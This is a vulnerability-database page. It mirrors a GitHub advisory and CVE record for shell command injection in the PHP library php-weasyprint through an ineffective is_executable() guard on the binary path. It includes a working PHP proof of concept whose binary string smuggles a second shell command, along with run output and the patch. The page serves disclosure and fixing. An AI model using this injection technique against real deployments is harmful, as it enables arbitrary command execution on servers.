Vulnerability-Lookup

GHSA-F5GC-QXF8-MH9G

Vulnerability from github – Published: 2026-06-26 21:46 – Updated: 2026-06-26 21:46

Summary

php-weasyprint: shell command injection via configurable WeasyPrint binary path due to inverted is_executable() guard (mirror of KnpLabs/snappy GHSA-vpr4-p6fq-85jc)

Details

Summary

pontedilana/php-weasyprint builds the shell command for WeasyPrint by passing the binary path through escapeshellarg() first and then checking the quoted result with is_executable(). On POSIX escapeshellarg('/usr/local/bin/weasyprint') returns '/usr/local/bin/weasyprint' with the single-quote characters as part of the string, so is_executable() looks for a file whose actual name includes those quotes. That file never exists, the "safe" branch is dead code, and the raw $binary string (set via the constructor or setBinary()) flows directly into Symfony\Component\Process\Process::fromShellCommandline(). Any deployment whose binary path is sourced from configuration, an environment variable, or a per-tenant setting reaches a shell-command-injection sink. The library is documented as a one-to-one substitute for KnpLabs/snappy and inherited the exact pre-fix codepath KnpLabs patched in GHSA-vpr4-p6fq-85jc (Snappy 1.7.1).

Affected versions

pontedilana/php-weasyprint versions <= 2.5.0 (current master tip commit c2b51fed0bf442c3bf0292b879a09944d436f2a0, 2026-04-03).

Patched in: 2.5.1

Privilege required

Any caller that can influence the binary string handed to the Pdf constructor or to AbstractGenerator::setBinary(). Typical reach paths:

An application config file (config/services.yaml, .env, helm chart value) read at boot time, where the path is auto-detected from environment or driven by a per-tenant override.
An admin UI that lets operators pick between multiple WeasyPrint builds (weasyprint-v60, weasyprint-v66) for compatibility reasons.
A multi-tenant SaaS that resolves binary location from a tenant config row.

Once an attacker plants a string containing shell metacharacters in one of those channels, every subsequent generate() call shells out the injected payload as the PHP process user.

Vulnerable code

src/AbstractGenerator.php#L169-L172:

protected function buildCommand(string $binary, string $input, string $output, array $options = []): string
{
    $escapedBinary = \escapeshellarg($binary);
    $command = \is_executable($escapedBinary) ? $escapedBinary : $binary;

src/Pdf.php#L167-L170 overrides buildCommand with the same guard:

protected function buildCommand(string $binary, string $input, string $output, array $options = []): string
{
    $escapedBinary = \escapeshellarg($binary);
    $command = \is_executable($escapedBinary) ? $escapedBinary : $binary;

escapeshellarg($binary) returns a single-quoted string. is_executable() then looks up a file whose name literally contains the surrounding single-quote characters, which essentially never exists. The ternary therefore always falls through to the right-hand side, where $command is the raw, unescaped $binary string. The rest of the command construction (options, input, output) is correctly escaped, so injection has to land in the binary segment — which is exactly the segment configuration-driven deployments treat as trusted.

This is the same primitive KnpLabs/snappy patched in version 1.7.1. The README of php-weasyprint states: "This library is massively inspired by KnpLabs/snappy, of which it aims to be a one-to-one substitute (GeneratorInterface is the same)." The vulnerable buildCommand was copied verbatim and never updated.

How `$binary` reaches the shell

caller code
  └── new Pdf($binary)                 // src/Pdf.php constructor
        └── parent::__construct($binary)
              └── $this->setBinary($binary)               // src/AbstractGenerator.php:276
                        $this->binary = $binary;          // no validation

later, at conversion time:

  $pdf->generate($input, $output, $options)
        └── $this->getCommand($input, $output, $options)  // src/AbstractGenerator.php:298
              └── $this->buildCommand($this->binary, ...) // src/AbstractGenerator.php:306
                    └── ($vulnerable guard, see above)
                    └── returns $command including raw $binary
        └── $this->executeCommand($command)               // src/AbstractGenerator.php:202
              └── Process::fromShellCommandline($command, null, $this->env, null, $this->timeout)
                    └── /bin/sh -c $command               // shell metacharacters interpreted

No intermediate validator, no scheme check, no allow-list. Whatever string reaches setBinary() is shell-evaluated.

Proof of concept

<?php
require __DIR__ . '/vendor/autoload.php';

use Pontedilana\PhpWeasyPrint\Pdf;

@unlink('/tmp/php_weasyprint_rce_marker');

// Attacker-controlled binary string (e.g. coming from config / env / tenant settings).
$binaryString = 'weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; #';

$pdf = new Pdf($binaryString);
$pdf->setTimeout(5);

try {
    $pdf->generate('about:blank', '/tmp/poc_out.pdf', [], true);
} catch (Throwable $e) {
    // WeasyPrint binary call fails (its actual exit status is irrelevant);
    // the injected 'touch' between the ';' separators already ran.
}

if (file_exists('/tmp/php_weasyprint_rce_marker')) {
    echo "RCE MARKER PRESENT — injection landed.\n";
} else {
    echo "RCE marker absent — injection did NOT land.\n";
}

The # at the end of $binaryString comments out the unrelated '/dev/null' '/tmp/poc_out.pdf' tail that buildCommand appends, keeping the shell line syntactically valid.

End-to-end reproduction (against pinned Composer install)

# 1. Pin the affected version
mkdir poc-weasyprint && cd poc-weasyprint
cat > composer.json <<'EOF'
{
    "require": { "pontedilana/php-weasyprint": "2.5.0" }
}
EOF
composer install --no-dev --quiet

# 2. Run the PoC
php poc.php

Captured run output (PHP 8.5.6, macOS arm64):

--- buildCommand output (uses reflection to peek) ---
weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker; # '/dev/null' '/tmp/poc_out.pdf'
--- end buildCommand ---

generate() threw (expected, weasyprint binary call may fail): RuntimeException: The file '/tmp/poc_out.pdf' was not created (command: weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_ma...

--- post-exec check ---
RCE MARKER PRESENT — injection landed.
stat: -rw-r--r--@ 1 rick  wheel  0  5月 25 13:44 /tmp/php_weasyprint_rce_marker

Interpretation:

Observation	Expected if guard worked	Actual
Compiled command starts with `weasyprint --version ...; touch ...; #`	Should be wrapped in single quotes, e.g. `'weasyprint --version > /dev/null; touch /tmp/...; #'`	Raw, unquoted
`/tmp/php_weasyprint_rce_marker` after `generate()`	Absent (binary path validation rejects)	Present — injected `touch` ran

The marker file is created by the injected command sequence, not by the WeasyPrint binary; the WeasyPrint call inside the same shell line fails afterwards (no PDF produced), but the injected payload has already executed.

Negative control on a benign binary path:

php poc_negctrl.php
# --- buildCommand for benign binary ---
# /usr/local/bin/weasyprint '/dev/null' '/tmp/poc_out_neg.pdf'
# Benign-path negative control clean: no spurious marker.

Even the benign path is emitted raw (without single-quotes around the binary), confirming the is_executable() guard never returns true — defensive depth is gone for every deployment, not just the malicious one.

Fix verification: replacing both buildCommand overrides with the KnpLabs/snappy 1.7.1 shape (if (!\is_executable($binary)) throw new RuntimeException(...); $command = \escapeshellarg($binary);) and re-running the same harness:

--- patched buildCommand output ---
[OK] buildCommand rejected malicious binary at the guard. msg: The binary 'weasyprint --version > /dev/null; touch /tmp/php_weasyprint_rce_marker_patched; #' is not executable.
generate() threw (expected, the corrected guard rejects the malicious $binary): RuntimeException: The binary 'weasyprint ...' is not executable.
PATCH OK — marker absent, injection blocked.

The corrected guard runs is_executable() on the unescaped $binary. For the attacker payload that lookup returns false (no file by that name exists on disk), the exception fires before Process::fromShellCommandline is ever called, and the marker file is never created.

Impact

Shell-command injection as the PHP-FPM / CLI user whenever the WeasyPrint binary path is influenced by configuration, environment, or per-tenant settings.
Affects every consumer that does not hard-code a constant binary path baked into the deployed code. Empirically, both the project's own README and tests demonstrate the binary path as a configurable constructor argument (new Pdf('/usr/local/bin/weasyprint')), and downstream framework integrations (Symfony / Laravel) typically wire it through container config.
Defensive-in-depth regression even for hard-coded paths: a reader of buildCommand reasonably expects the binary to be shell-escaped because the code visually claims to do so. Any later change that reads the binary from a less-trusted source inherits the dead guard.

CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H (7.6, High) — adjust to AV:N when the binary path is reachable from an unauthenticated request surface (e.g. an admin endpoint without proper auth).

Suggested fix

Mirror the KnpLabs/snappy 1.7.1 fix shape exactly (the upstream library this project explicitly mirrors):

--- a/src/AbstractGenerator.php
+++ b/src/AbstractGenerator.php
@@
     protected function buildCommand(string $binary, string $input, string $output, array $options = []): string
     {
-        $escapedBinary = \escapeshellarg($binary);
-        $command = \is_executable($escapedBinary) ? $escapedBinary : $binary;
+        if (!\is_executable($binary)) {
+            throw new \RuntimeException(sprintf("The binary '%s' is not executable.", $binary));
+        }
+        $command = \escapeshellarg($binary);

Apply the identical change to src/Pdf.php::buildCommand. The is_executable() check now runs against the raw $binary (the only string that can name a real file on disk), and the escapeshellarg() call only quotes a string that has already been verified as a real executable path on the local filesystem.

A regression test that asserts buildCommand throws on a $binary string containing ; / && / | should be added so the dead-guard pattern cannot reappear silently.

Credit

Reported by tonghuaroot.

Severity

8.2 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.5.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pontedilana/php-weasyprint"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-49260"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T21:46:27Z",
    "nvd_published_at": "2026-06-19T17:16:29Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`pontedilana/php-weasyprint` builds the shell command for WeasyPrint by passing the binary path through `escapeshellarg()` first and then checking the *quoted* result with `is_executable()`. On POSIX `escapeshellarg(\u0027/usr/local/bin/weasyprint\u0027)` returns `\u0027/usr/local/bin/weasyprint\u0027` with the single-quote characters as part of the string, so `is_executable()` looks for a file whose actual name includes those quotes. That file never exists, the \"safe\" branch is dead code, and the raw `$binary` string (set via the constructor or `setBinary()`) flows directly into `Symfony\\Component\\Process\\Process::fromShellCommandline()`. Any deployment whose binary path is sourced from configuration, an environment variable, or a per-tenant setting reaches a shell-command-injection sink. The library is documented as a one-to-one substitute for KnpLabs/snappy and inherited the exact pre-fix codepath KnpLabs patched in [GHSA-vpr4-p6fq-85jc](https://github.com/KnpLabs/snappy/security/advisories/GHSA-vpr4-p6fq-85jc) (Snappy 1.7.1).\n\n### Affected versions\n\n`pontedilana/php-weasyprint` versions `\u003c= 2.5.0` (current `master` tip commit `c2b51fed0bf442c3bf0292b879a09944d436f2a0`, 2026-04-03).\n\nPatched in: 2.5.1\n\n### Privilege required\n\nAny caller that can influence the binary string handed to the `Pdf` constructor or to `AbstractGenerator::setBinary()`. Typical reach paths:\n\n- An application config file (`config/services.yaml`, `.env`, helm chart value) read at boot time, where the path is auto-detected from environment or driven by a per-tenant override.\n- An admin UI that lets operators pick between multiple WeasyPrint builds (`weasyprint-v60`, `weasyprint-v66`) for compatibility reasons.\n- A multi-tenant SaaS that resolves binary location from a tenant config row.\n\nOnce an attacker plants a string containing shell metacharacters in one of those channels, every subsequent `generate()` call shells out the injected payload as the PHP process user.\n\n### Vulnerable code\n\n[`src/AbstractGenerator.php#L169-L172`](https://github.com/pontedilana/php-weasyprint/blob/c2b51fed0bf442c3bf0292b879a09944d436f2a0/src/AbstractGenerator.php#L169-L172):\n\n```php\nprotected function buildCommand(string $binary, string $input, string $output, array $options = []): string\n{\n    $escapedBinary = \\escapeshellarg($binary);\n    $command = \\is_executable($escapedBinary) ? $escapedBinary : $binary;\n```\n\n[`src/Pdf.php#L167-L170`](https://github.com/pontedilana/php-weasyprint/blob/c2b51fed0bf442c3bf0292b879a09944d436f2a0/src/Pdf.php#L167-L170) overrides `buildCommand` with the same guard:\n\n```php\nprotected function buildCommand(string $binary, string $input, string $output, array $options = []): string\n{\n    $escapedBinary = \\escapeshellarg($binary);\n    $command = \\is_executable($escapedBinary) ? $escapedBinary : $binary;\n```\n\n`escapeshellarg($binary)` returns a single-quoted string. `is_executable()` then looks up a file whose name literally contains the surrounding single-quote characters, which essentially never exists. The ternary therefore always falls through to the right-hand side, where `$command` is the raw, unescaped `$binary` string. The rest of the command construction (options, input, output) is correctly escaped, so injection has to land in the binary segment \u2014 which is exactly the segment configuration-driven deployments treat as trusted.\n\nThis is the same primitive KnpLabs/snappy patched in version 1.7.1. The README of `php-weasyprint` states: \"This library is massively inspired by KnpLabs/snappy, of which it aims to be a one-to-one substitute (GeneratorInterface is the same).\" The vulnerable `buildCommand` was copied verbatim and never updated.\n\n### How `$binary` reaches the shell\n\n```\ncaller code\n  \u2514\u2500\u2500 new Pdf($binary)                 // src/Pdf.php constructor\n        \u2514\u2500\u2500 parent::__construct($binary)\n              \u2514\u2500\u2500 $this-\u003esetBinary($binary)               // src/AbstractGenerator.php:276\n                        $this-\u003ebinary = $binary;          // no validation\n\nlater, at conversion time:\n\n  $pdf-\u003egenerate($input, $output, $options)\n        \u2514\u2500\u2500 $this-\u003egetCommand($input, $output, $options)  // src/AbstractGenerator.php:298\n              \u2514\u2500\u2500 $this-\u003ebuildCommand($this-\u003ebinary, ...) // src/AbstractGenerator.php:306\n                    \u2514\u2500\u2500 ($vulnerable guard, see above)\n                    \u2514\u2500\u2500 returns $command including raw $binary\n        \u2514\u2500\u2500 $this-\u003eexecuteCommand($command)               // src/AbstractGenerator.php:202\n              \u2514\u2500\u2500 Process::fromShellCommandline($command, null, $this-\u003eenv, null, $this-\u003etimeout)\n                    \u2514\u2500\u2500 /bin/sh -c $command               // shell metacharacters interpreted\n```\n\nNo intermediate validator, no scheme check, no allow-list. Whatever string reaches `setBinary()` is shell-evaluated.\n\n### Proof of concept\n\n```php\n\u003c?php\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\n\nuse Pontedilana\\PhpWeasyPrint\\Pdf;\n\n@unlink(\u0027/tmp/php_weasyprint_rce_marker\u0027);\n\n// Attacker-controlled binary string (e.g. coming from config / env / tenant settings).\n$binaryString = \u0027weasyprint --version \u003e /dev/null; touch /tmp/php_weasyprint_rce_marker; #\u0027;\n\n$pdf = new Pdf($binaryString);\n$pdf-\u003esetTimeout(5);\n\ntry {\n    $pdf-\u003egenerate(\u0027about:blank\u0027, \u0027/tmp/poc_out.pdf\u0027, [], true);\n} catch (Throwable $e) {\n    // WeasyPrint binary call fails (its actual exit status is irrelevant);\n    // the injected \u0027touch\u0027 between the \u0027;\u0027 separators already ran.\n}\n\nif (file_exists(\u0027/tmp/php_weasyprint_rce_marker\u0027)) {\n    echo \"RCE MARKER PRESENT \u2014 injection landed.\\n\";\n} else {\n    echo \"RCE marker absent \u2014 injection did NOT land.\\n\";\n}\n```\n\nThe `#` at the end of `$binaryString` comments out the unrelated `\u0027/dev/null\u0027 \u0027/tmp/poc_out.pdf\u0027` tail that `buildCommand` appends, keeping the shell line syntactically valid.\n\n### End-to-end reproduction (against pinned Composer install)\n\n```bash\n# 1. Pin the affected version\nmkdir poc-weasyprint \u0026\u0026 cd poc-weasyprint\ncat \u003e composer.json \u003c\u003c\u0027EOF\u0027\n{\n    \"require\": { \"pontedilana/php-weasyprint\": \"2.5.0\" }\n}\nEOF\ncomposer install --no-dev --quiet\n\n# 2. Run the PoC\nphp poc.php\n```\n\nCaptured run output (PHP 8.5.6, macOS arm64):\n\n```\n--- buildCommand output (uses reflection to peek) ---\nweasyprint --version \u003e /dev/null; touch /tmp/php_weasyprint_rce_marker; # \u0027/dev/null\u0027 \u0027/tmp/poc_out.pdf\u0027\n--- end buildCommand ---\n\ngenerate() threw (expected, weasyprint binary call may fail): RuntimeException: The file \u0027/tmp/poc_out.pdf\u0027 was not created (command: weasyprint --version \u003e /dev/null; touch /tmp/php_weasyprint_rce_ma...\n\n--- post-exec check ---\nRCE MARKER PRESENT \u2014 injection landed.\nstat: -rw-r--r--@ 1 rick  wheel  0  5\u6708 25 13:44 /tmp/php_weasyprint_rce_marker\n```\n\nInterpretation:\n\n| Observation | Expected if guard worked | Actual |\n|---|---|---|\n| Compiled command starts with `weasyprint --version ...; touch ...; #` | Should be wrapped in single quotes, e.g. `\u0027weasyprint --version \u003e /dev/null; touch /tmp/...; #\u0027` | Raw, unquoted |\n| `/tmp/php_weasyprint_rce_marker` after `generate()` | Absent (binary path validation rejects) | Present \u2014 injected `touch` ran |\n\nThe marker file is created by the injected command sequence, not by the WeasyPrint binary; the WeasyPrint call inside the same shell line fails afterwards (no PDF produced), but the injected payload has already executed.\n\nNegative control on a benign binary path:\n\n```bash\nphp poc_negctrl.php\n# --- buildCommand for benign binary ---\n# /usr/local/bin/weasyprint \u0027/dev/null\u0027 \u0027/tmp/poc_out_neg.pdf\u0027\n# Benign-path negative control clean: no spurious marker.\n```\n\nEven the benign path is emitted raw (without single-quotes around the binary), confirming the `is_executable()` guard never returns true \u2014 defensive depth is gone for every deployment, not just the malicious one.\n\nFix verification: replacing both `buildCommand` overrides with the KnpLabs/snappy 1.7.1 shape (`if (!\\is_executable($binary)) throw new RuntimeException(...); $command = \\escapeshellarg($binary);`) and re-running the same harness:\n\n```\n--- patched buildCommand output ---\n[OK] buildCommand rejected malicious binary at the guard. msg: The binary \u0027weasyprint --version \u003e /dev/null; touch /tmp/php_weasyprint_rce_marker_patched; #\u0027 is not executable.\ngenerate() threw (expected, the corrected guard rejects the malicious $binary): RuntimeException: The binary \u0027weasyprint ...\u0027 is not executable.\nPATCH OK \u2014 marker absent, injection blocked.\n```\n\nThe corrected guard runs `is_executable()` on the unescaped `$binary`. For the attacker payload that lookup returns false (no file by that name exists on disk), the exception fires before `Process::fromShellCommandline` is ever called, and the marker file is never created.\n\n### Impact\n\n- Shell-command injection as the PHP-FPM / CLI user whenever the WeasyPrint binary path is influenced by configuration, environment, or per-tenant settings.\n- Affects every consumer that does not hard-code a constant binary path baked into the deployed code. Empirically, both the project\u0027s own README and tests demonstrate the binary path as a configurable constructor argument (`new Pdf(\u0027/usr/local/bin/weasyprint\u0027)`), and downstream framework integrations (Symfony / Laravel) typically wire it through container config.\n- Defensive-in-depth regression even for hard-coded paths: a reader of `buildCommand` reasonably expects the binary to be shell-escaped because the code visually claims to do so. Any later change that reads the binary from a less-trusted source inherits the dead guard.\n\nCVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H (7.6, High) \u2014 adjust to AV:N when the binary path is reachable from an unauthenticated request surface (e.g. an admin endpoint without proper auth).\n\n### Suggested fix\n\nMirror the KnpLabs/snappy 1.7.1 fix shape exactly (the upstream library this project explicitly mirrors):\n\n```diff\n--- a/src/AbstractGenerator.php\n+++ b/src/AbstractGenerator.php\n@@\n     protected function buildCommand(string $binary, string $input, string $output, array $options = []): string\n     {\n-        $escapedBinary = \\escapeshellarg($binary);\n-        $command = \\is_executable($escapedBinary) ? $escapedBinary : $binary;\n+        if (!\\is_executable($binary)) {\n+            throw new \\RuntimeException(sprintf(\"The binary \u0027%s\u0027 is not executable.\", $binary));\n+        }\n+        $command = \\escapeshellarg($binary);\n```\n\nApply the identical change to `src/Pdf.php::buildCommand`. The `is_executable()` check now runs against the raw `$binary` (the only string that can name a real file on disk), and the `escapeshellarg()` call only quotes a string that has already been verified as a real executable path on the local filesystem.\n\nA regression test that asserts `buildCommand` throws on a `$binary` string containing `;` / `\u0026\u0026` / `|` should be added so the dead-guard pattern cannot reappear silently.\n\n### Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-f5gc-qxf8-mh9g",
  "modified": "2026-06-26T21:46:27Z",
  "published": "2026-06-26T21:46:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/KnpLabs/snappy/security/advisories/GHSA-vpr4-p6fq-85jc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pontedilana/php-weasyprint/security/advisories/GHSA-f5gc-qxf8-mh9g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49260"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pontedilana/php-weasyprint/commit/9e86a2b317237fc5728f712f5037164530117f7e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pontedilana/php-weasyprint"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pontedilana/php-weasyprint/releases/tag/2.5.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "php-weasyprint: shell command injection via configurable WeasyPrint binary path due to inverted is_executable() guard (mirror of KnpLabs/snappy GHSA-vpr4-p6fq-85jc)"
}

CVE-2026-49260 (GCVE-0-2026-49260)

Vulnerability from cvelistv5 – Published: 2026-06-19 16:59 – Updated: 2026-06-22 19:45

Title

PhpWeasyPrint: shell command injection via configurable WeasyPrint binary path due to inverted is_executable() guard (mirror of KnpLabs/snappy GHSA-vpr4-p6fq-85jc)

Summary

PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.5.1, `pontedilana/php-weasyprint` builds the shell command for WeasyPrint by passing the binary path through `escapeshellarg()` first and then checking the *quoted* result with `is_executable()`. On POSIX `escapeshellarg('/usr/local/bin/weasyprint')` returns `'/usr/local/bin/weasyprint'` with the single-quote characters as part of the string, so `is_executable()` looks for a file whose actual name includes those quotes. That file never exists, the "safe" branch is dead code, and the raw `$binary` string (set via the constructor or `setBinary()`) flows directly into `Symfony\Component\Process\Process::fromShellCommandline()`. Any deployment whose binary path is sourced from configuration, an environment variable, or a per-tenant setting reaches a shell-command-injection sink. The library is documented as a one-to-one substitute for KnpLabs/snappy and inherited the exact pre-fix codepath KnpLabs patched in GHSA-vpr4-p6fq-85jc. PhpWeasyPrint version 2.5.1 contains a patch for the issue.

Severity

8.2 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-22 19:45 UTC

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7760 records in the last 180 days details

References

4 references

URL	Tags
https://github.com/pontedilana/php-weasyprint/sec…	x_refsource_CONFIRM
https://github.com/KnpLabs/snappy/security/adviso…	x_refsource_MISC
https://github.com/pontedilana/php-weasyprint/com…	x_refsource_MISC
https://github.com/pontedilana/php-weasyprint/rel…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
pontedilana	php-weasyprint	Affected: < 2.5.1

Show details on NVD website

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-49260",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-06-22T19:45:10.727602Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-06-22T19:45:22.647Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/KnpLabs/snappy/security/advisories/GHSA-vpr4-p6fq-85jc"
          },
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/pontedilana/php-weasyprint/security/advisories/GHSA-f5gc-qxf8-mh9g"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "php-weasyprint",
          "vendor": "pontedilana",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.5.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "PhpWeasyPrint is a PHP library allowing PDF generation from a URL or an HTML page. Prior to version 2.5.1, `pontedilana/php-weasyprint` builds the shell command for WeasyPrint by passing the binary path through `escapeshellarg()` first and then checking the *quoted* result with `is_executable()`. On POSIX `escapeshellarg(\u0027/usr/local/bin/weasyprint\u0027)` returns `\u0027/usr/local/bin/weasyprint\u0027` with the single-quote characters as part of the string, so `is_executable()` looks for a file whose actual name includes those quotes. That file never exists, the \"safe\" branch is dead code, and the raw `$binary` string (set via the constructor or `setBinary()`) flows directly into `Symfony\\Component\\Process\\Process::fromShellCommandline()`. Any deployment whose binary path is sourced from configuration, an environment variable, or a per-tenant setting reaches a shell-command-injection sink. The library is documented as a one-to-one substitute for KnpLabs/snappy and inherited the exact pre-fix codepath KnpLabs patched in GHSA-vpr4-p6fq-85jc. PhpWeasyPrint version 2.5.1 contains a patch for the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "HIGH",
            "baseScore": 8.2,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "HIGH",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-06-19T16:59:01.208Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/pontedilana/php-weasyprint/security/advisories/GHSA-f5gc-qxf8-mh9g",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/pontedilana/php-weasyprint/security/advisories/GHSA-f5gc-qxf8-mh9g"
        },
        {
          "name": "https://github.com/KnpLabs/snappy/security/advisories/GHSA-vpr4-p6fq-85jc",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/KnpLabs/snappy/security/advisories/GHSA-vpr4-p6fq-85jc"
        },
        {
          "name": "https://github.com/pontedilana/php-weasyprint/commit/9e86a2b317237fc5728f712f5037164530117f7e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pontedilana/php-weasyprint/commit/9e86a2b317237fc5728f712f5037164530117f7e"
        },
        {
          "name": "https://github.com/pontedilana/php-weasyprint/releases/tag/2.5.1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/pontedilana/php-weasyprint/releases/tag/2.5.1"
        }
      ],
      "source": {
        "advisory": "GHSA-f5gc-qxf8-mh9g",
        "discovery": "UNKNOWN"
      },
      "title": "PhpWeasyPrint: shell command injection via configurable WeasyPrint binary path due to inverted is_executable() guard (mirror of KnpLabs/snappy GHSA-vpr4-p6fq-85jc)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-49260",
    "datePublished": "2026-06-19T16:59:01.208Z",
    "dateReserved": "2026-05-28T14:33:01.179Z",
    "dateUpdated": "2026-06-22T19:45:22.647Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-F5GC-QXF8-MH9G

Summary

Affected versions

Privilege required

Vulnerable code

How $binary reaches the shell

Proof of concept

End-to-end reproduction (against pinned Composer install)

Impact

Suggested fix

Credit

CVE-2026-49260 (GCVE-0-2026-49260)

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour

How `$binary` reaches the shell